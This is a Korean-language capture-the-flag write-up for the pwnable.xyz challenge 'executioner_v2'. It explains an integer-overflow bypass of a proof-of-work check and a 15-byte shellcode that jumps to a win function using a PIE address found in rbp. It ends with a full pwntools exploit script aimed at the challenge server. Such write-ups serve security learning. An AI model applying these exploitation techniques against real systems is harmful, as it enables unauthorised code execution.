문제 풀이 환경 : Ubuntu 16.04
solve_pow가 더 어렵..
📝 Analysis
<< Mitigation >>
역시나
<< Code >>
· main
이전하고 비슷한 모양새를 하고 있지만 단 16Byte만을 입력으로 받을 수 있다.
참고로 초록색으로 하이라이트 된 곳은 어셈블리어로 다음과 같다.
몇 레지스터를 제외하고는 다 0으로 초기화해주고 있다. 이후 rdx에 저장된 주소를 call 한다.
· solve_pow
개인적으로 어려워서 고민하다가 다른 사람 롸업보고 푼 부분. (이미 gdb 디버깅을 통해 내가 짠 shellcode의 PoC는 해놓은 상태에서 봤다.)
사실 데이터 형 크기 고정으로 인한 로직 버그라는 건 인지하고 있었지만 계산을 어떻게 할까 고민하고 있었다.
연산 후 범위를 넘어가는 byte에 대해서는 완전히 생각지도 못하고 있었다.
DWORD 크기(4-Byte)인 (unsigned) int 데이터형은 0x80000000에서 곱셈을 뭘 하느냐에 차이가 있다.
짝수를 곱하면
이런 식으로 범위가 넘어가서 0으로 인식하고,
홀수를 곱하면
여전히 4-Byte 내에 값이 남아 하염없이 기다려야 한다.
확률은 짝수냐 홀수냐, 즉 1/2이므로 꽤나 높은 확률이라 할 수 있다.
그렇게 입력할 때 x = 0x80000000, y = buf - 0x80000000로 설정하고 y의 값이 짝수이기를 바라면서 코드를 실행시킨다.
✨ Thinking
solve_pow를 우회하는 방법에 대해서는 위에서 언급한 대로다.
나머지는 16Byte 내에서 쉘코드를 실행시킬 수 있는 방법을 생각해내는 것이다.
일단 길이가 매우 짧기 때문에 평범하게 /bin/sh를 호출하는 건 불가능하다고 생각했다.
그래서 win 함수를 부르는 쪽이 합리적이라는 생각을 했다.
문제는 미티게이션에 PIE 옵션이 걸려있기 때문에 어떻게 하면 pie_base를 알 수 있을까 고민하다가 이런 류의 문제 특징 중 하나를 생각했다.
main 코드에서 초기화하지 않은 레지스터 중에서 어떤 걸 이용할 수 있을지를 살펴보았다.
마침 main에서 call rdx로 부를 때 main의 stack 상황을 보니
이렇게 생겼다.
rbp에 담긴 값이 pie_base를 포함한 값이 있으므로 이 값과 win과의 offset 차이를 계산해서 그대로 부르는 걸 생각하고 스크립트를 작성한 뒤 입력 길이를 확인했다.
이전 executioner 문제와 같이 xor 우회를 위해 첫 바이트는 null을 쓰는 것으로 시작해서 다음과 같이 작성했다.
길이는 15Byte! 16Byte에서 하나 덜 입력한 것으로 작성이 가능했다.
🚩 Flag 🚩
from pwn import *
context.arch = 'amd64'
# context.log_level = 'debug'
# p = process('./executioner_v2')
p = remote('svc.pwnable.xyz', 30028)
# fifty fifty chance (buf/ even->success, odd->fail)
p.recvuntil('== ')
x = 0x80000000
buf = int(p.recvline(), 16)
p.sendlineafter('> ', f'{x} {buf - x}')
shellcode = '''
add al, al
mov rbx, [rbp]
sub rbx, 0x2d6
call rbx
'''
p.sendafter('Input: ', asm(shellcode))
p.interactive()